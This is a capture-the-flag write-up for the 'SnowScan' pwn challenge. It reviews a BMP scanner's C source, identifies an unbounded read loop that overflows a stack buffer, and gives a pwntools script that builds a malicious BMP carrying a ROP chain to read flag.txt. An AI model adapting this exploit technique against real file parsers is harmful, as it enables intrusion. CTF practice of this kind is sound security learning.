

SnowScan

1) Security

```
(vigneswar@VigneswarPC)~[/Pwn/Snow Scan/solve]
$ checksec snowscan
[*] '/home/vigneswar/Pwn/Snow Scan/solve/snowscan'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

(vigneswar@VigneswarPC)~[/Pwn/Snow Scan/solve]
$
```

2) Source Code Review

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>

#define MIN_IMGSIZE 400 // 20x20
#define MAX_IMGSIZE 900 // 30x30

#define TRIGGER_SIZE 15
uint8_t trigger[] = "3nk1's-n4m-shub";

typedef struct {
    char signature[2];
    uint32_t fileSize;
    uint32_t reserved;
    uint32_t dataOffset;
    uint32_t headerSize;
    int32_t width;
    int32_t height;
    uint16_t colorPlanes;
    uint16_t bitsPerPixel;
    uint32_t compression;
    uint32_t imageSize;
    int32_t horizontalResolution;
    int32_t verticalResolution;
    uint32_t numColors;
    uint32_t importantColors;
} BMPFile;

void error(const char *error)
{
    printf("ERROR: %s\n", error);
}
```

```

    exit(-1);
}

void setup(void)
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

void printFile(char *fname)
{
    FILE *file = fopen(fname, "r");
    if(file == NULL)
        error("Failed to open file.");

    int c;
    while((c = fgetc(file)) != EOF)
        printf("%c", (char)c);

    fclose(file);
    exit(0);
}

BMPFile *loadBitmap(FILE *file)
{
    BMPFile *bmp = (BMPFile *)malloc(sizeof(BMPFile));
    if(bmp == NULL)
        error("Bitmap struct heap allocation failed.");

    // Read file headers
    fread(&bmp->signature, sizeof(char), 2, file);
    fread(&bmp->fileSize, sizeof(uint32_t), 1, file);
    fread(&bmp->reserved, sizeof(uint32_t), 1, file);
    fread(&bmp->dataOffset, sizeof(uint32_t), 1, file);
    fread(&bmp->headerSize, sizeof(uint32_t), 1, file);
    fread(&bmp->width, sizeof(int32_t), 1, file);
    fread(&bmp->height, sizeof(int32_t), 1, file);
    fread(&bmp->colorPlanes, sizeof(uint16_t), 1, file);
    fread(&bmp->bitsPerPixel, sizeof(uint16_t), 1, file);
    fread(&bmp->compression, sizeof(uint32_t), 1, file);
    fread(&bmp->imageSize, sizeof(uint32_t), 1, file);
    fread(&bmp->horizontalResolution, sizeof(int32_t), 1, file);
    fread(&bmp->verticalResolution, sizeof(int32_t), 1, file);
    fread(&bmp->numColors, sizeof(uint32_t), 1, file);
    fread(&bmp->importantColors, sizeof(uint32_t), 1, file);

    // signature bytes check
    if(bmp->signature[0] != 'B' || bmp->signature[1] != 'M')
        error("Invalid file signature.");

    // min-max size check
    if(bmp->imageSize < MIN_IMGSIZE || bmp->imageSize > MAX_IMGSIZE)
        error("Invalid bitmap size. The acceptable resolution range is 20x20 to 30x30.");

    // square bitmap check
    if(bmp->width != bmp->height)
        error("Invalid bitmap resolution. Only square bitmaps are processed.");
}

```

```

    return bmp;
}

int sequenceDetected(const uint8_t *arr, uint32_t size)
{
    for(int i=0; i<(size-TRIGGER_SIZE+1); ++i) {
        if(memcmp(arr+i, trigger, TRIGGER_SIZE) == 0)
            return 1;
    }
    return 0;
}

void scan(const uint8_t *bitmap, uint32_t dim)
{
    for(int i=0; i<dim; ++i) {
        printf("[%02d] : ", i+1);
        if(sequenceDetected(bitmap+(i*dim), dim))
            printf("FAIL\n");
        else
            printf("PASS\n");
    }
}

int main(int argc, char **argv)
{
    setup();

    if(argc < 2)
        error("No file provided as an argument.");

    size_t len = strlen(argv[1]);
    if(len >= 4 && strcmp(argv[1]+len-4, ".bmp"))
        error("Invalid file extension. Only accepting .bmp files.");

    FILE *file = fopen(argv[1], "rb");
    if(file == NULL)
        error("Failed to open file.");

    BMPFile *bmp = loadBitmap(file);

    fseek(file, bmp->dataOffset, SEEK_SET);

    uint8_t pixelBuf[bmp->imageSize];

    int c = 0, i = 0;
    while((c = fgetc(file)) != EOF)
        pixelBuf[i++] = (uint8_t)c;

    scan(pixelBuf, bmp->width);

    fclose(file);
    return 0;
}

```

3) Notes

```
int c = 0, i = 0;
while((c = fgetc(file)) != EOF)
    pixelBuf[i++] = (uint8_t)c;
```

This part allows us to enter infinite input causing us to overflow the pixelBuf buffer

We have to be careful not to overwrite the address of pixelBuf and i while overflowing

The screenshot shows a terminal window with the following code:

```
(vigneswar@VigneswarPC)~/Pwn/Snow Scan/challenge
$ cat server.py
#!/usr/bin/env python3
import os
import re
import subprocess
from flask import Flask, render_template, request

MAX_FILE_SIZE = 3*1024 # 3 kb limit
SCANNER = './snowscan'
UPLOAD_DIR = 'uploads/'

app = Flask(__name__)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/snowscan', methods=['POST'])
def snowscan():
    file = request.files['file']
    # sanitize filename
    filename = re.sub(r'[a-zA-Z0-9_.-]', '', file.filename)
    file_path = os.path.join(UPLOAD_DIR, filename)
    if request.content_length > MAX_FILE_SIZE:
        return 'File exceeds max size'
    file.save(file_path)
    try:
        output = subprocess.run([SCANNER, file_path], capture_output=True, text=True, timeout=1).stdout
    except subprocess.CalledProcessError as e:
        output = e
    return output

@app.route('/results', methods=['GET'])
def results():
    return render_template('results.html')
```

The sidebar on the right contains a list of challenges:

- Hunting
- Sick ROP
- Login Simulat
- Space
- Pixel Audio
- Great Old Tal
- Sacred Scroll
- Lesson
- Evil Corp
- Oxidized ROP
- Cosy Casino
- What does th
- Old Bridge
- No Return
- Toxin
- Execute
- Void
- Writing on th
- Rocket Blaz
- Regularit
- Abyss
- AntiData
- KHP Protocol
- Ancient Inter
- Dream Diary
- Dream Diary
- Don file app
- SuperFast
- Pivotman

We also have to write send out payload as a bmp file so we cannot interact with the process much

4) Exploit

```
#!/usr/bin/env python3

from pwn import *

context(os='linux', arch='amd64', log_level='error')
context.terminal = ['tmux', 'splitw', '-h']
exe = ELF("./snowscan")
context.binary = exe

rop_chain = ROP(exe)
# 0x000000000048e6cc: mov qword ptr [rbx], rax; pop rax; pop rdx; pop rbx; ret;
rop_chain.rax = 0x7478742E67616C66 # flag.txt
rop_chain.rbx = 0x4c3500
rop_chain.raw(0x48e6cc)
rop_chain.raw(p64(0)*3)
rop_chain.open(0x4c3500, 0, 0)
rop_chain.read(3, 0x4c3500, 50)
```

```

rop_chain.write(1, 0x4c3500, 50)

exploit = b'a'*432+b'\xc0'+b'\x00'*7+p64(0x495c60)*20+rop_chain.chain()

payload = flat(
    b'BM',          # signature
    p32(0),          # fileSize
    p32(0),          # reserved
    p32(48),         # dataOffset
    p32(0),          # headerSize
    p32(0),          # width
    p32(0),          # height
    p16(0),          # colorPlanes
    p16(0),          # bitsPerPixel
    p32(0),          # compression
    p32(400),        # image size
    b'\x00'*10,
    exploit
)

# rbp-0x60 - pixelBuf address stored
# rbp-0x34 - i
# offset to i from start of buf -> 476
# offset to pixelBuf address to start of the buf -> 432

with open('payload.bmp', 'wb') as file:
    file.write(payload)

# b* 0x402514
io = gdb.debug([exe.path, 'payload.bmp'], 'b* 0x402565\nc', api=True)

io.interactive()

```

5) Flag

